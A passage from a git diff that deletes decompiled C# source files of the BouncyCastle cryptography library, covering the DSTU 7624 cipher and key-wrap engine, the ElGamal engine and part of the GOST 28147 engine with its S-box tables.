| (b3 << 16) | (b4 << 24)); - byte b5 = T0[num7 & 0xFF]; - byte b6 = T1[(num7 >> 8) & 0xFF]; - byte b7 = T2[(num7 >> 16) & 0xFF]; - byte b8 = T3[num7 >> 24]; - num7 = (uint)(b5 | (b6 << 8) | (b7 << 16) | (b8 << 24)); - num = num4 | ((ulong)num7 << 32); - byte b9 = T0[num6 & 0xFF]; - byte b10 = T1[(num6 >> 8) & 0xFF]; - byte b11 = T2[(num6 >> 16) & 0xFF]; - byte b12 = T3[num6 >> 24]; - num6 = (uint)(b9 | (b10 << 8) | (b11 << 16) | (b12 << 24)); - byte b13 = T0[num5 & 0xFF]; - byte b14 = T1[(num5 >> 8) & 0xFF]; - byte b15 = T2[(num5 >> 16) & 0xFF]; - byte b16 = T3[num5 >> 24]; - num5 = (uint)(b13 | (b14 << 8) | (b15 << 16) | (b16 << 24)); - num2 = num6 | ((ulong)num5 << 32); - if (--num3 == 0) - { - break; - } - array = roundKeys[num3]; - num ^= array[0]; - num2 ^= array[1]; - } - array = roundKeys[0]; - num -= array[0]; - num2 -= array[1]; - Pack.UInt64_To_LE(num, output, outOff); - Pack.UInt64_To_LE(num2, output, outOff + 8); - } - - private void EncryptBlock_128(byte[] input, int inOff, byte[] output, int outOff) - { - ulong num = Pack.LE_To_UInt64(input, inOff); - ulong num2 = Pack.LE_To_UInt64(input, inOff + 8); - ulong[] array = roundKeys[0]; - num += array[0]; - num2 += array[1]; - int num3 = 0; - while (true) - { - uint num4 = (uint)num; - uint num5 = (uint)(num >> 32); - uint num6 = (uint)num2; - uint num7 = (uint)(num2 >> 32); - byte b = S0[num4 & 0xFF]; - byte b2 = S1[(num4 >> 8) & 0xFF]; - byte b3 = S2[(num4 >> 16) & 0xFF]; - byte b4 = S3[num4 >> 24]; - num4 = (uint)(b | (b2 << 8) | (b3 << 16) | (b4 << 24)); - byte b5 = S0[num7 & 0xFF]; - byte b6 = S1[(num7 >> 8) & 0xFF]; - byte b7 = S2[(num7 >> 16) & 0xFF]; - byte b8 = S3[num7 >> 24]; - num7 = (uint)(b5 | (b6 << 8) | (b7 << 16) | (b8 << 24)); - num = num4 | ((ulong)num7 << 32); - byte b9 = S0[num6 & 0xFF]; - byte b10 = S1[(num6 >> 8) & 0xFF]; - byte b11 = S2[(num6 >> 16) & 0xFF]; - byte b12 = S3[num6 >> 24]; - num6 = (uint)(b9 | (b10 << 8) | (b11 << 16) | (b12 << 24)); - byte b13 = S0[num5 & 0xFF]; - byte b14 = S1[(num5 >> 8) & 0xFF]; - byte b15 = S2[(num5 >> 16) & 0xFF]; - byte b16 = S3[num5 >> 24]; - num5 = (uint)(b13 | (b14 << 8) | (b15 << 16) | (b16 << 24)); - num2 = num6 | ((ulong)num5 << 32); - num = MixColumn(num); - num2 = MixColumn(num2); - if (++num3 == roundsAmount) - { - break; - } - array = roundKeys[num3]; - num ^= array[0]; - num2 ^= array[1]; - } - array = roundKeys[roundsAmount]; - num += array[0]; - num2 += array[1]; - Pack.UInt64_To_LE(num, output, outOff); - Pack.UInt64_To_LE(num2, output, outOff + 8); - } - - private void SubBytes() - { - for (int i = 0; i < wordsInBlock; i++) - { - ulong num = internalState[i]; - uint num2 = (uint)num; - uint num3 = (uint)(num >> 32); - byte b = S0[num2 & 0xFF]; - byte b2 = S1[(num2 >> 8) & 0xFF]; - byte b3 = S2[(num2 >> 16) & 0xFF]; - byte b4 = S3[num2 >> 24]; - num2 = (uint)(b | (b2 << 8) | (b3 << 16) | (b4 << 24)); - byte b5 = S0[num3 & 0xFF]; - byte b6 = S1[(num3 >> 8) & 0xFF]; - byte b7 = S2[(num3 >> 16) & 0xFF]; - byte b8 = S3[num3 >> 24]; - num3 = (uint)(b5 | (b6 << 8) | (b7 << 16) | (b8 << 24)); - internalState[i] = num2 | ((ulong)num3 << 32); - } - } - - private void InvSubBytes() - { - for (int i = 0; i < wordsInBlock; i++) - { - ulong num = internalState[i]; - uint num2 = (uint)num; - uint num3 = (uint)(num >> 32); - byte b = T0[num2 & 0xFF]; - byte b2 = T1[(num2 >> 8) & 0xFF]; - byte b3 = T2[(num2 >> 16) & 0xFF]; - byte b4 = T3[num2 >> 24]; - num2 = (uint)(b | (b2 << 8) | (b3 << 16) | (b4 << 24)); - byte b5 = T0[num3 & 0xFF]; - byte b6 = T1[(num3 >> 8) & 0xFF]; - byte b7 = T2[(num3 >> 16) & 0xFF]; - byte b8 = T3[num3 >> 24]; - num3 = (uint)(b5 | (b6 << 8) | (b7 << 16) | (b8 << 24)); - internalState[i] = num2 | ((ulong)num3 << 32); - } - } - - private void ShiftRows() - { - switch (wordsInBlock) - { - case 2: - { - ulong num15 = internalState[0]; - ulong num16 = internalState[1]; - ulong num17 = (num15 ^ num16) & 0xFFFFFFFF00000000uL; - num15 ^= num17; - num16 ^= num17; - internalState[0] = num15; - internalState[1] = num16; - break; - } - case 4: - { - ulong num10 = internalState[0]; - ulong num11 = internalState[1]; - ulong num12 = internalState[2]; - ulong num13 = internalState[3]; - ulong num14 = (num10 ^ num12) & 0xFFFFFFFF00000000uL; - num10 ^= num14; - num12 ^= num14; - num14 = (num11 ^ num13) & 0xFFFFFFFF0000L; - num11 ^= num14; - num13 ^= num14; - num14 = (num10 ^ num11) & 0xFFFF0000FFFF0000uL; - num10 ^= num14; - num11 ^= num14; - num14 = (num12 ^ num13) & 0xFFFF0000FFFF0000uL; - num12 ^= num14; - num13 ^= num14; - internalState[0] = num10; - internalState[1] = num11; - internalState[2] = num12; - internalState[3] = num13; - break; - } - case 8: - { - ulong num = internalState[0]; - ulong num2 = internalState[1]; - ulong num3 = internalState[2]; - ulong num4 = internalState[3]; - ulong num5 = internalState[4]; - ulong num6 = internalState[5]; - ulong num7 = internalState[6]; - ulong num8 = internalState[7]; - ulong num9 = (num ^ num5) & 0xFFFFFFFF00000000uL; - num ^= num9; - num5 ^= num9; - num9 = (num2 ^ num6) & 0xFFFFFFFF000000L; - num2 ^= num9; - num6 ^= num9; - num9 = (num3 ^ num7) & 0xFFFFFFFF0000L; - num3 ^= num9; - num7 ^= num9; - num9 = (num4 ^ num8) & 0xFFFFFFFF00L; - num4 ^= num9; - num8 ^= num9; - num9 = (num ^ num3) & 0xFFFF0000FFFF0000uL; - num ^= num9; - num3 ^= num9; - num9 = (num2 ^ num4) & 0xFFFF0000FFFF00L; - num2 ^= num9; - num4 ^= num9; - num9 = (num5 ^ num7) & 0xFFFF0000FFFF0000uL; - num5 ^= num9; - num7 ^= num9; - num9 = (num6 ^ num8) & 0xFFFF0000FFFF00L; - num6 ^= num9; - num8 ^= num9; - num9 = (num ^ num2) & 0xFF00FF00FF00FF00uL; - num ^= num9; - num2 ^= num9; - num9 = (num3 ^ num4) & 0xFF00FF00FF00FF00uL; - num3 ^= num9; - num4 ^= num9; - num9 = (num5 ^ num6) & 0xFF00FF00FF00FF00uL; - num5 ^= num9; - num6 ^= num9; - num9 = (num7 ^ num8) & 0xFF00FF00FF00FF00uL; - num7 ^= num9; - num8 ^= num9; - internalState[0] = num; - internalState[1] = num2; - internalState[2] = num3; - internalState[3] = num4; - internalState[4] = num5; - internalState[5] = num6; - internalState[6] = num7; - internalState[7] = num8; - break; - } - default: - throw new InvalidOperationException("unsupported block length: only 128/256/512 are allowed"); - } - } - - private void InvShiftRows() - { - switch (wordsInBlock) - { - case 2: - { - ulong num15 = internalState[0]; - ulong num16 = internalState[1]; - ulong num17 = (num15 ^ num16) & 0xFFFFFFFF00000000uL; - num15 ^= num17; - num16 ^= num17; - internalState[0] = num15; - internalState[1] = num16; - break; - } - case 4: - { - ulong num10 = internalState[0]; - ulong num11 = internalState[1]; - ulong num12 = internalState[2]; - ulong num13 = internalState[3]; - ulong num14 = (num10 ^ num11) & 0xFFFF0000FFFF0000uL; - num10 ^= num14; - num11 ^= num14; - num14 = (num12 ^ num13) & 0xFFFF0000FFFF0000uL; - num12 ^= num14; - num13 ^= num14; - num14 = (num10 ^ num12) & 0xFFFFFFFF00000000uL; - num10 ^= num14; - num12 ^= num14; - num14 = (num11 ^ num13) & 0xFFFFFFFF0000L; - num11 ^= num14; - num13 ^= num14; - internalState[0] = num10; - internalState[1] = num11; - internalState[2] = num12; - internalState[3] = num13; - break; - } - case 8: - { - ulong num = internalState[0]; - ulong num2 = internalState[1]; - ulong num3 = internalState[2]; - ulong num4 = internalState[3]; - ulong num5 = internalState[4]; - ulong num6 = internalState[5]; - ulong num7 = internalState[6]; - ulong num8 = internalState[7]; - ulong num9 = (num ^ num2) & 0xFF00FF00FF00FF00uL; - num ^= num9; - num2 ^= num9; - num9 = (num3 ^ num4) & 0xFF00FF00FF00FF00uL; - num3 ^= num9; - num4 ^= num9; - num9 = (num5 ^ num6) & 0xFF00FF00FF00FF00uL; - num5 ^= num9; - num6 ^= num9; - num9 = (num7 ^ num8) & 0xFF00FF00FF00FF00uL; - num7 ^= num9; - num8 ^= num9; - num9 = (num ^ num3) & 0xFFFF0000FFFF0000uL; - num ^= num9; - num3 ^= num9; - num9 = (num2 ^ num4) & 0xFFFF0000FFFF00L; - num2 ^= num9; - num4 ^= num9; - num9 = (num5 ^ num7) & 0xFFFF0000FFFF0000uL; - num5 ^= num9; - num7 ^= num9; - num9 = (num6 ^ num8) & 0xFFFF0000FFFF00L; - num6 ^= num9; - num8 ^= num9; - num9 = (num ^ num5) & 0xFFFFFFFF00000000uL; - num ^= num9; - num5 ^= num9; - num9 = (num2 ^ num6) & 0xFFFFFFFF000000L; - num2 ^= num9; - num6 ^= num9; - num9 = (num3 ^ num7) & 0xFFFFFFFF0000L; - num3 ^= num9; - num7 ^= num9; - num9 = (num4 ^ num8) & 0xFFFFFFFF00L; - num4 ^= num9; - num8 ^= num9; - internalState[0] = num; - internalState[1] = num2; - internalState[2] = num3; - internalState[3] = num4; - internalState[4] = num5; - internalState[5] = num6; - internalState[6] = num7; - internalState[7] = num8; - break; - } - default: - throw new InvalidOperationException("unsupported block length: only 128/256/512 are allowed"); - } - } - - private void AddRoundKey(int round) - { - ulong[] array = roundKeys[round]; - for (int i = 0; i < wordsInBlock; i++) - { - ulong[] array3; - ulong[] array2 = (array3 = internalState); - int num = i; - nint num2 = num; - array2[num] = array3[num2] + array[i]; - } - } - - private void SubRoundKey(int round) - { - ulong[] array = roundKeys[round]; - for (int i = 0; i < wordsInBlock; i++) - { - ulong[] array3; - ulong[] array2 = (array3 = internalState); - int num = i; - nint num2 = num; - array2[num] = array3[num2] - array[i]; - } - } - - private void XorRoundKey(int round) - { - ulong[] array = roundKeys[round]; - for (int i = 0; i < wordsInBlock; i++) - { - ulong[] array3; - ulong[] array2 = (array3 = internalState); - int num = i; - nint num2 = num; - array2[num] = array3[num2] ^ array[i]; - } - } - - private static ulong MixColumn(ulong c) - { - ulong num = MulX(c); - ulong num2 = Rotate(8, c) ^ c; - num2 ^= Rotate(16, num2); - num2 ^= Rotate(48, c); - ulong x = MulX2(num2 ^ c ^ num); - return num2 ^ Rotate(32, x) ^ Rotate(40, num) ^ Rotate(48, num); - } - - private void MixColumns() - { - for (int i = 0; i < wordsInBlock; i++) - { - internalState[i] = MixColumn(internalState[i]); - } - } - - private static ulong MixColumnInv(ulong c) - { - ulong num = c; - num ^= Rotate(8, num); - num ^= Rotate(32, num); - num ^= Rotate(48, c); - ulong num2 = num ^ c; - ulong num3 = Rotate(48, c); - ulong num4 = Rotate(56, c); - ulong n = num2 ^ num4; - ulong num5 = Rotate(56, num2); - num5 ^= MulX(n); - ulong num6 = Rotate(16, num2) ^ c; - num6 ^= Rotate(40, MulX(num5) ^ c); - ulong num7 = num2 ^ num3; - num7 ^= MulX(num6); - ulong num8 = Rotate(16, num); - num8 ^= MulX(num7); - ulong num9 = num2 ^ Rotate(24, c) ^ num3 ^ num4; - num9 ^= MulX(num8); - ulong num10 = Rotate(32, num2) ^ c ^ num4; - num10 ^= MulX(num9); - return num ^ MulX(Rotate(40, num10)); - } - - private void MixColumnsInv() - { - for (int i = 0; i < wordsInBlock; i++) - { - internalState[i] = MixColumnInv(internalState[i]); - } - } - - private static ulong MulX(ulong n) - { - return ((n & 0x7F7F7F7F7F7F7F7FL) << 1) ^ (((n & 0x8080808080808080uL) >> 7) * 29); - } - - private static ulong MulX2(ulong n) - { - return ((n & 0x3F3F3F3F3F3F3F3FL) << 2) ^ (((n & 0x8080808080808080uL) >> 6) * 29) ^ (((n & 0x4040404040404040L) >> 6) * 29); - } - - private static ulong Rotate(int n, ulong x) - { - return (x >> n) | (x << -n); - } - - private void RotateLeft(ulong[] x, ulong[] z) - { - switch (wordsInBlock) - { - case 2: - { - ulong num13 = x[0]; - ulong num14 = x[1]; - z[0] = (num13 >> 56) | (num14 << 8); - z[1] = (num14 >> 56) | (num13 << 8); - break; - } - case 4: - { - ulong num9 = x[0]; - ulong num10 = x[1]; - ulong num11 = x[2]; - ulong num12 = x[3]; - z[0] = (num10 >> 24) | (num11 << 40); - z[1] = (num11 >> 24) | (num12 << 40); - z[2] = (num12 >> 24) | (num9 << 40); - z[3] = (num9 >> 24) | (num10 << 40); - break; - } - case 8: - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - ulong num5 = x[4]; - ulong num6 = x[5]; - ulong num7 = x[6]; - ulong num8 = x[7]; - z[0] = (num3 >> 24) | (num4 << 40); - z[1] = (num4 >> 24) | (num5 << 40); - z[2] = (num5 >> 24) | (num6 << 40); - z[3] = (num6 >> 24) | (num7 << 40); - z[4] = (num7 >> 24) | (num8 << 40); - z[5] = (num8 >> 24) | (num << 40); - z[6] = (num >> 24) | (num2 << 40); - z[7] = (num2 >> 24) | (num3 << 40); - break; - } - default: - throw new InvalidOperationException("unsupported block length: only 128/256/512 are allowed"); - } - } - - public virtual int GetBlockSize() - { - return wordsInBlock << 3; - } - - public virtual void Reset() - { - Array.Clear(internalState, 0, internalState.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624WrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624WrapEngine.cs deleted file mode 100644 index 7c42944..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624WrapEngine.cs +++ /dev/null @@ -1,164 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Dstu7624WrapEngine : IWrapper -{ - private KeyParameter param; - - private Dstu7624Engine engine; - - private bool forWrapping; - - private int blockSize; - - public string AlgorithmName => "Dstu7624WrapEngine"; - - public Dstu7624WrapEngine(int blockSizeBits) - { - engine = new Dstu7624Engine(blockSizeBits); - param = null; - blockSize = blockSizeBits / 8; - } - - public void Init(bool forWrapping, ICipherParameters parameters) - { - this.forWrapping = forWrapping; - if (parameters is KeyParameter) - { - param = (KeyParameter)parameters; - engine.Init(forWrapping, param); - return; - } - throw new ArgumentException("Bad parameters passed to Dstu7624WrapEngine"); - } - - public byte[] Wrap(byte[] input, int inOff, int length) - { - if (!forWrapping) - { - throw new InvalidOperationException("Not set for wrapping"); - } - if (length % blockSize != 0) - { - throw new ArgumentException("Padding not supported"); - } - int num = 2 * (1 + length / blockSize); - int num2 = (num - 1) * 6; - byte[] array = new byte[length + blockSize]; - Array.Copy(input, inOff, array, 0, length); - byte[] array2 = new byte[blockSize / 2]; - Array.Copy(array, 0, array2, 0, blockSize / 2); - IList list = Platform.CreateArrayList(); - int num3 = array.Length - blockSize / 2; - int num4 = blockSize / 2; - while (num3 != 0) - { - byte[] array3 = new byte[blockSize / 2]; - Array.Copy(array, num4, array3, 0, blockSize / 2); - list.Add(array3); - num3 -= blockSize / 2; - num4 += blockSize / 2; - } - for (int i = 0; i < num2; i++) - { - Array.Copy(array2, 0, array, 0, blockSize / 2); - Array.Copy((byte[])list[0], 0, array, blockSize / 2, blockSize / 2); - engine.ProcessBlock(array, 0, array, 0); - byte[] array4 = Pack.UInt32_To_LE((uint)(i + 1)); - for (int j = 0; j < array4.Length; j++) - { - byte[] array6; - byte[] array5 = (array6 = array); - int num5 = j + blockSize / 2; - nint num6 = num5; - array5[num5] = (byte)(array6[num6] ^ array4[j]); - } - Array.Copy(array, blockSize / 2, array2, 0, blockSize / 2); - for (int k = 2; k < num; k++) - { - Array.Copy((byte[])list[k - 1], 0, (byte[])list[k - 2], 0, blockSize / 2); - } - Array.Copy(array, 0, (byte[])list[num - 2], 0, blockSize / 2); - } - Array.Copy(array2, 0, array, 0, blockSize / 2); - num4 = blockSize / 2; - for (int l = 0; l < num - 1; l++) - { - Array.Copy((byte[])list[l], 0, array, num4, blockSize / 2); - num4 += blockSize / 2; - } - return array; - } - - public byte[] Unwrap(byte[] input, int inOff, int length) - { - if (forWrapping) - { - throw new InvalidOperationException("not set for unwrapping"); - } - if (length % blockSize != 0) - { - throw new ArgumentException("Padding not supported"); - } - int num = 2 * length / blockSize; - int num2 = (num - 1) * 6; - byte[] array = new byte[length]; - Array.Copy(input, inOff, array, 0, length); - byte[] array2 = new byte[blockSize / 2]; - Array.Copy(array, 0, array2, 0, blockSize / 2); - IList list = Platform.CreateArrayList(); - int num3 = array.Length - blockSize / 2; - int num4 = blockSize / 2; - while (num3 != 0) - { - byte[] array3 = new byte[blockSize / 2]; - Array.Copy(array, num4, array3, 0, blockSize / 2); - list.Add(array3); - num3 -= blockSize / 2; - num4 += blockSize / 2; - } - for (int i = 0; i < num2; i++) - { - Array.Copy((byte[])list[num - 2], 0, array, 0, blockSize / 2); - Array.Copy(array2, 0, array, blockSize / 2, blockSize / 2); - byte[] array4 = Pack.UInt32_To_LE((uint)(num2 - i)); - for (int j = 0; j < array4.Length; j++) - { - byte[] array6; - byte[] array5 = (array6 = array); - int num5 = j + blockSize / 2; - nint num6 = num5; - array5[num5] = (byte)(array6[num6] ^ array4[j]); - } - engine.ProcessBlock(array, 0, array, 0); - Array.Copy(array, 0, array2, 0, blockSize / 2); - for (int k = 2; k < num; k++) - { - Array.Copy((byte[])list[num - k - 1], 0, (byte[])list[num - k], 0, blockSize / 2); - } - Array.Copy(array, blockSize / 2, (byte[])list[0], 0, blockSize / 2); - } - Array.Copy(array2, 0, array, 0, blockSize / 2); - num4 = blockSize / 2; - for (int l = 0; l < num - 1; l++) - { - Array.Copy((byte[])list[l], 0, array, num4, blockSize / 2); - num4 += blockSize / 2; - } - byte b = 0; - for (int m = array.Length - blockSize; m < array.Length; m++) - { - b |= array[m]; - } - if (b != 0) - { - throw new InvalidCipherTextException("checksum failed"); - } - return Arrays.CopyOfRange(array, 0, array.Length - blockSize); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ElGamalEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ElGamalEngine.cs deleted file mode 100644 index 07f17d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/ElGamalEngine.cs +++ /dev/null @@ -1,114 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class ElGamalEngine : IAsymmetricBlockCipher -{ - private ElGamalKeyParameters key; - - private SecureRandom random; - - private bool forEncryption; - - private int bitSize; - - public virtual string AlgorithmName => "ElGamal"; - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - key = (ElGamalKeyParameters)parametersWithRandom.Parameters; - random = parametersWithRandom.Random; - } - else - { - key = (ElGamalKeyParameters)parameters; - random = new SecureRandom(); - } - this.forEncryption = forEncryption; - bitSize = key.Parameters.P.BitLength; - if (forEncryption) - { - if (!(key is ElGamalPublicKeyParameters)) - { - throw new ArgumentException("ElGamalPublicKeyParameters are required for encryption."); - } - } - else if (!(key is ElGamalPrivateKeyParameters)) - { - throw new ArgumentException("ElGamalPrivateKeyParameters are required for decryption."); - } - } - - public virtual int GetInputBlockSize() - { - if (forEncryption) - { - return (bitSize - 1) / 8; - } - return 2 * ((bitSize + 7) / 8); - } - - public virtual int GetOutputBlockSize() - { - if (forEncryption) - { - return 2 * ((bitSize + 7) / 8); - } - return (bitSize - 1) / 8; - } - - public virtual byte[] ProcessBlock(byte[] input, int inOff, int length) - { - if (key == null) - { - throw new InvalidOperationException("ElGamal engine not initialised"); - } - int num = (forEncryption ? ((bitSize - 1 + 7) / 8) : GetInputBlockSize()); - if (length > num) - { - throw new DataLengthException("input too large for ElGamal cipher.\n"); - } - BigInteger p = key.Parameters.P; - byte[] array; - if (key is ElGamalPrivateKeyParameters) - { - int num2 = length / 2; - BigInteger bigInteger = new BigInteger(1, input, inOff, num2); - BigInteger val = new BigInteger(1, input, inOff + num2, num2); - ElGamalPrivateKeyParameters elGamalPrivateKeyParameters = (ElGamalPrivateKeyParameters)key; - BigInteger bigInteger2 = bigInteger.ModPow(p.Subtract(BigInteger.One).Subtract(elGamalPrivateKeyParameters.X), p).Multiply(val).Mod(p); - array = bigInteger2.ToByteArrayUnsigned(); - } - else - { - BigInteger bigInteger3 = new BigInteger(1, input, inOff, length); - if (bigInteger3.BitLength >= p.BitLength) - { - throw new DataLengthException("input too large for ElGamal cipher.\n"); - } - ElGamalPublicKeyParameters elGamalPublicKeyParameters = (ElGamalPublicKeyParameters)key; - BigInteger value = p.Subtract(BigInteger.Two); - BigInteger bigInteger4; - do - { - bigInteger4 = new BigInteger(p.BitLength, random); - } - while (bigInteger4.SignValue == 0 || bigInteger4.CompareTo(value) > 0); - BigInteger g = key.Parameters.G; - BigInteger bigInteger5 = g.ModPow(bigInteger4, p); - BigInteger bigInteger6 = bigInteger3.Multiply(elGamalPublicKeyParameters.Y.ModPow(bigInteger4, p)).Mod(p); - array = new byte[GetOutputBlockSize()]; - byte[] array2 = bigInteger5.ToByteArrayUnsigned(); - byte[] array3 = bigInteger6.ToByteArrayUnsigned(); - array2.CopyTo(array, array.Length / 2 - array2.Length); - array3.CopyTo(array, array.Length - array3.Length); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Gost28147Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Gost28147Engine.cs deleted file mode 100644 index 3671968..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Gost28147Engine.cs +++ /dev/null @@ -1,347 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Gost28147Engine : IBlockCipher -{ - private const int BlockSize = 8; - - private int[] workingKey = null; - - private bool forEncryption; - - private byte[] S = Sbox_Default; - - private static readonly byte[] Sbox_Default; - - private static readonly byte[] ESbox_Test; - - private static readonly byte[] ESbox_A; - - private static readonly byte[] ESbox_B; - - private static readonly byte[] ESbox_C; - - private static readonly byte[] ESbox_D; - - private static readonly byte[] DSbox_Test; - - private static readonly byte[] DSbox_A; - - private static readonly IDictionary sBoxes; - - public virtual string AlgorithmName => "Gost28147"; - - public virtual bool IsPartialBlockOkay => false; - - static Gost28147Engine() - { - Sbox_Default = new byte[128] - { - 4, 10, 9, 2, 13, 8, 0, 14, 6, 11, - 1, 12, 7, 15, 5, 3, 14, 11, 4, 12, - 6, 13, 15, 10, 2, 3, 8, 1, 0, 7, - 5, 9, 5, 8, 1, 13, 10, 3, 4, 2, - 14, 15, 12, 7, 6, 0, 9, 11, 7, 13, - 10, 1, 0, 8, 9, 15, 14, 4, 6, 12, - 11, 2, 5, 3, 6, 12, 7, 1, 5, 15, - 13, 8, 4, 10, 9, 14, 0, 3, 11, 2, - 4, 11, 10, 0, 7, 2, 1, 13, 3, 6, - 8, 5, 9, 12, 15, 14, 13, 11, 4, 1, - 3, 15, 5, 9, 0, 10, 14, 7, 6, 8, - 2, 12, 1, 15, 13, 0, 5, 7, 10, 4, - 9, 2, 3, 14, 6, 11, 8, 12 - }; - ESbox_Test = new byte[128] - { - 4, 2, 15, 5, 9, 1, 0, 8, 14, 3, - 11, 12, 13, 7, 10, 6, 12, 9, 15, 14, - 8, 1, 3, 10, 2, 7, 4, 13, 6, 0, - 11, 5, 13, 8, 14, 12, 7, 3, 9, 10, - 1, 5, 2, 4, 6, 15, 0, 11, 14, 9, - 11, 2, 5, 15, 7, 1, 0, 13, 12, 6, - 10, 4, 3, 8, 3, 14, 5, 9, 6, 8, - 0, 13, 10, 11, 7, 12, 2, 1, 15, 4, - 8, 15, 6, 11, 1, 9, 12, 5, 13, 3, - 7, 10, 0, 14, 2, 4, 9, 11, 12, 0, - 3, 6, 7, 5, 4, 8, 14, 15, 1, 10, - 2, 13, 12, 6, 5, 2, 11, 0, 9, 13, - 3, 14, 7, 10, 15, 4, 1, 8 - }; - ESbox_A = new byte[128] - { - 9, 6, 3, 2, 8, 11, 1, 7, 10, 4, - 14, 15, 12, 0, 13, 5, 3, 7, 14, 9, - 8, 10, 15, 0, 5, 2, 6, 12, 11, 4, - 13, 1, 14, 4, 6, 2, 11, 3, 13, 8, - 12, 15, 5, 10, 0, 7, 1, 9, 14, 7, - 10, 12, 13, 1, 3, 9, 0, 2, 11, 4, - 15, 8, 5, 6, 11, 5, 1, 9, 8, 13, - 15, 0, 14, 4, 2, 3, 12, 7, 10, 6, - 3, 10, 13, 12, 1, 2, 0, 11, 7, 5, - 9, 4, 8, 15, 14, 6, 1, 13, 2, 9, - 7, 10, 6, 0, 8, 12, 4, 5, 15, 3, - 11, 14, 11, 10, 15, 5, 0, 12, 14, 8, - 6, 2, 3, 9, 1, 7, 13, 4 - }; - ESbox_B = new byte[128] - { - 8, 4, 11, 1, 3, 5, 0, 9, 2, 14, - 10, 12, 13, 6, 7, 15, 0, 1, 2, 10, - 4, 13, 5, 12, 9, 7, 3, 15, 11, 8, - 6, 14, 14, 12, 0, 10, 9, 2, 13, 11, - 7, 5, 8, 15, 3, 6, 1, 4, 7, 5, - 0, 13, 11, 6, 1, 2, 3, 10, 12, 15, - 4, 14, 9, 8, 2, 7, 12, 15, 9, 5, - 10, 11, 1, 4, 0, 13, 6, 8, 14, 3, - 8, 3, 2, 6, 4, 13, 14, 11, 12, 1, - 7, 15, 10, 0, 9, 5, 5, 2, 10, 11, - 9, 1, 12, 3, 7, 4, 13, 0, 6, 15, - 8, 14, 0, 4, 11, 14, 8, 3, 7, 1, - 10, 2, 9, 6, 15, 13, 5, 12 - }; - ESbox_C = new byte[128] - { - 1, 11, 12, 2, 9, 13, 0, 15, 4, 5, - 8, 14, 10, 7, 6, 3, 0, 1, 7, 13, - 11, 4, 5, 2, 8, 14, 15, 12, 9, 10, - 6, 3, 8, 2, 5, 0, 4, 9, 15, 10, - 3, 7, 12, 13, 6, 14, 1, 11, 3, 6, - 0, 1, 5, 13, 10, 8, 11, 2, 9, 7, - 14, 15, 12, 4, 8, 13, 11, 0, 4, 5, - 1, 2, 9, 3, 12, 14, 6, 15, 10, 7, - 12, 9, 11, 1, 8, 14, 2, 4, 7, 3, - 6, 5, 10, 0, 15, 13, 10, 9, 6, 8, - 13, 14, 2, 0, 15, 3, 5, 11, 4, 1, - 12, 7, 7, 4, 0, 5, 10, 2, 15, 14, - 12, 6, 1, 11, 13, 9, 3, 8 - }; - ESbox_D = new byte[128] - { - 15, 12, 2, 10, 6, 4, 5, 0, 7, 9, - 14, 13, 1, 11, 8, 3, 11, 6, 3, 4, - 12, 15, 14, 2, 7, 13, 8, 0, 5, 10, - 9, 1, 1, 12, 11, 0, 15, 14, 6, 5, - 10, 13, 4, 8, 9, 3, 7, 2, 1, 5, - 14, 12, 10, 7, 0, 13, 6, 2, 11, 4, - 9, 3, 15, 8, 0, 12, 8, 9, 13, 2, - 10, 11, 7, 3, 6, 5, 4, 14, 15, 1, - 8, 0, 15, 3, 2, 5, 14, 11, 1, 10, - 4, 7, 12, 9, 13, 6, 3, 0, 6, 15, - 1, 14, 9, 2, 13, 8, 12, 4, 11, 10, - 5, 7, 1, 10, 6, 8, 15, 11, 0, 4, - 12, 3, 5, 9, 7, 13, 2, 14 - }; - DSbox_Test = new byte[128] - { - 4, 10, 9, 2, 13, 8, 0, 14, 6, 11, - 1, 12, 7, 15, 5, 3, 14, 11, 4, 12, - 6, 13, 15, 10, 2, 3, 8, 1, 0, 7, - 5, 9, 5, 8, 1, 13, 10, 3, 4, 2, - 14, 15, 12, 7, 6, 0, 9, 11, 7, 13, - 10, 1, 0, 8, 9, 15, 14, 4, 6, 12, - 11, 2, 5, 3, 6, 12, 7, 1, 5, 15, - 13, 8, 4, 10, 9, 14, 0, 3, 11, 2, - 4, 11, 10, 0, 7, 2, 1, 13, 3, 6, - 8, 5, 9, 12, 15, 14, 13, 11, 4, 1, - 3, 15, 5, 9, 0, 10, 14, 7, 6, 8, - 2, 12, 1, 15, 13, 0, 5, 7, 10, 4, - 9, 2, 3, 14, 6, 11, 8, 12 - }; - DSbox_A = new byte[128] - { - 10, 4, 5, 6, 8, 1, 3, 7, 13, 12, - 14, 0, 9, 2, 11, 15, 5, 15, 4, 0, - 2, 13, 11, 9, 1, 7, 6, 3, 12, 14, - 10, 8, 7, 15, 12, 14, 9, 4, 1, 0, - 3, 11, 5, 2, 6, 10, 8, 13, 4, 10, - 7, 12, 0, 15, 2, 8, 14, 1, 6, 5, - 13, 11, 9, 3, 7, 6, 4, 11, 9, 12, - 2, 10, 1, 